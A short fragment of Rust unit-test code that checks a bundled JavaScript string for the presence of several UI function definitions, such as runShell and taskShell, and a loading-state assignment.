27106        assert!(APP_JS.contains("function nextRunRequest(id)"));
27107        assert!(APP_JS.contains("function runShell(id, summary)"));
27108        assert!(APP_JS.contains("function nextTaskRequest(id)"));
27109        assert!(APP_JS.contains("function taskShell(id, summary)"));
27110        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27111    }
27112}